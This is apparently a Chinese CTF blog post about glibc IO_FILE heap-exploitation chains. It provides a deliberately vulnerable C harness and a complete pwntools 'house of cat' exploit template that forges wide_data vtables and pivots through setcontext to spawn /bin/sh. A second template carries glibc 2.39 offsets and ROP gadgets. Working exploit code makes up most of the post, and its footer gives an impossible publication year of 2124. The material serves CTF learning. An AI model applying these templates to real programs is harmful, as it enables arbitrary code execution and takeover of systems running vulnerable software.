Z. 各个版本适用的IO攻击链总结

测试用例:

写了一个小小的程序模拟largebin attack的效果,给了libc和heap地址,给了一次IO_list_all的覆盖机会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>

int main(){
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);

size_t* setbuf_addr=&setbuf;
size_t* IO_list_all=(char*)setbuf_addr+0x161ad0;

printf("0x%lx\n",(char*)(setbuf_addr)-0x8bad0);

char* fake_io=malloc(0x400)-0x10;
printf("0x%lx\n",fake_io);

printf("Input fake_IO_struct:\n");
read(0,fake_io+0x10,0x400);

*IO_list_all=fake_io;

exit(0);

return 0;
}

可以通过用pwntools和这个程序进行交互,直接学习IO链攻击技巧

house_of_cat

cat是永远的神

house_of_cat,我认为是现在入门pwn的新生必须先学的技巧。

其思路为使用IO_wfile_jumps虚表中IO_wfile_seekoff函数,利用程序**对于IO_wide_data类型的_wide_vtable虚表地址合法性检查的缺失,在堆段伪造虚表进行程序执行流的劫持。

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

global p

ELFpath='./tester'
libcpath='/home/jmpcliff/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc-2.31.so'

p=process(ELFpath)
#p=gdb.debug(ELFpath,'b*$rebase(0x1813)')
#p=remote('118.24.118.158',9999)

e=ELF(ELFpath)
libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))

LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-25s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b _IO_flush_all_lockp
b exit
b _IO_wfile_seekoff
b _IO_switch_to_wget_mode
'''.format(text_base, libc_base)
#b*$rebase(0x1813)
#b*$rebase(0x18e5)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)

def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)

#debug()

ru("0x")
libcbase=int(r(12),16)
LOGTOOL['libcbase']=libcbase

ru("0x")
fake_io=int(r(12),16)
LOGTOOL['fake_io']=fake_io

IO_file_jumps=libcbase+0x1e94a0
LOGTOOL["IO_file_jump"]=IO_file_jumps

IO_wfile_jumps=libcbase+0x1e8f60
LOGTOOL["IO_wfile_jumps"]=IO_wfile_jumps

execve_addr=libcbase+0xe3170
LOGTOOL['execve']=execve_addr

setcontext_61=libcbase+0x54f20+61
LOGTOOL['setcontext_61']=setcontext_61

rop=b'/bin/sh\x00'

pay=flat(
{
0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data
0xa0:[p64(fake_io+0x30)],
0xc0:[p64(1)], #_mode
0xd8:[p64(IO_wfile_jumps+0x30)], # vtable
0x110:[p64(fake_io+0x118)], # wide_data -> vtable

0x118:flat(
{
0x18:[p64(setcontext_61)]
},filler=b'\x00'
),

0x138:flat(
{
0x68:p64(fake_io+0x1e8), # rdi
0x70:p64(0), # rsi
0x88:p64(0), # rdx
0xa0:p64(fake_io+0x1e8), # rsp
0xa8:p64(execve_addr) # ret_addr
},filler=b'\x00'
),

0x1e8:flat(
{
0x00:rop
},filler=b'\x00'
)


},filler=b'\x00'
)

s(pay[0x10:])
LOGALL()
it()

上面的例子里,我默认按照需要栈迁移+orw的难度布置。实际上因为笔者想偷懒,板子里没写orw的过程,rop里没有orw函数,仅仅放了个/bin/sh的字符串。但是rsp已经设置好了。如果需要orw的话,在rop开头放个/flag,后面跟上orw,rsp降落在在rop+8的位置就行了(rdi不用改,原来就是指向rop开头。)

其实上面的链子有点浪费空间了,如果硬要复用空间,可以让长度变得更短,但是largebin attack的空间布置一般是够用的,一般不需要压缩payload的长度。

wide_data成员的wide_vtable的偏移是0xe0,这一点记牢了。

(未完待续)

2.39板子需要修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"House of Cat": {
"prefix": "cat-payload",
"body": [
"ru(\"0x\")\nlibcbase=int(r(12),16)\nLOGTOOL['libcbase']=libcbase\n\nru(\"0x\")\nfake_io=int(r(12),16)\n",
"LOGTOOL['fake_io']=fake_io # chunk_start (prev_size)\n\nIO_file_jumps=libcbase+0x216600\nLOGTOOL[\"IO_file_jump\"]=IO_file_jumps",
"\n\nIO_wfile_jumps=libcbase+0x2160C0\nLOGTOOL[\"IO_wfile_jumps\"]=IO_wfile_jumps\n\nexecve_addr=libcbase+0xeb080\nLOGTOOL['execve']=execve_addr",
"\n\nsetcontext_61=libcbase+0x539E0+61\nLOGTOOL['setcontext_61']=setcontext_61\n\nlr=libcbase+0x4da83\nret=libcbase+0x29139\npop_rdi=libcbase+0x2a3e5 \npop_rsi=libcbase+0x002be51\npop_rdx=libcbase+0x0796a2 ",
"\n\nrop=b'/bin/sh\\x00'\n\npay=flat(\n{\n0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)], # wide_data\n0x88:p64(fake_io+0x1e8),",
"\n0xa0:[p64(fake_io+0x30)],\n0xc0:[p64(1)], #_mode\n0xd8:[p64(IO_wfile_jumps+0x30)], # vtable\n0x110:[p64(fake_io+0x118)], # wide_data -> vtable",
"\n\n0x118:flat(\n{\n0x18:[p64(setcontext_61)]\n},filler=b'\\x00'\n),\n\n0x138:flat(\n{\n0x68:p64(fake_io+0x1e8), # rdi \n0x70:p64(0), # rsi\n0x88:p64(0), # rdx",
"\n0xa0:p64(fake_io+0x1f8), # rsp\n0xa8:p64(ret) # ret_addr\n},filler=b'\\x00'\n),\n\n0x1e8:flat(\n{\n0x00:p64(0)+p64(0),\n0x10:rop",
"\n},filler=b'\\x00'\n)\n\n\n},filler=b'\\x00'\n)\ns(pay[0x10:])"
],
"description": "Payload template of House of Cat.(IO_FILE)"
},

非exit情况

house of cat 在长度不受限制的情况下,几乎可以应对所有的情况。

参考文章

以下是笔者学习阶段参考过的各路大神的文章:

CTF 中 glibc堆利用 及 IO_FILE 总结


glibc heap——从入门到入土
http://example.com/2124/04/21/Blog/Pwn/pwn note/glibc-heap/glibc heap从入门到入土/
作者
Jmp.Cliff
发布于
2124年4月21日
许可协议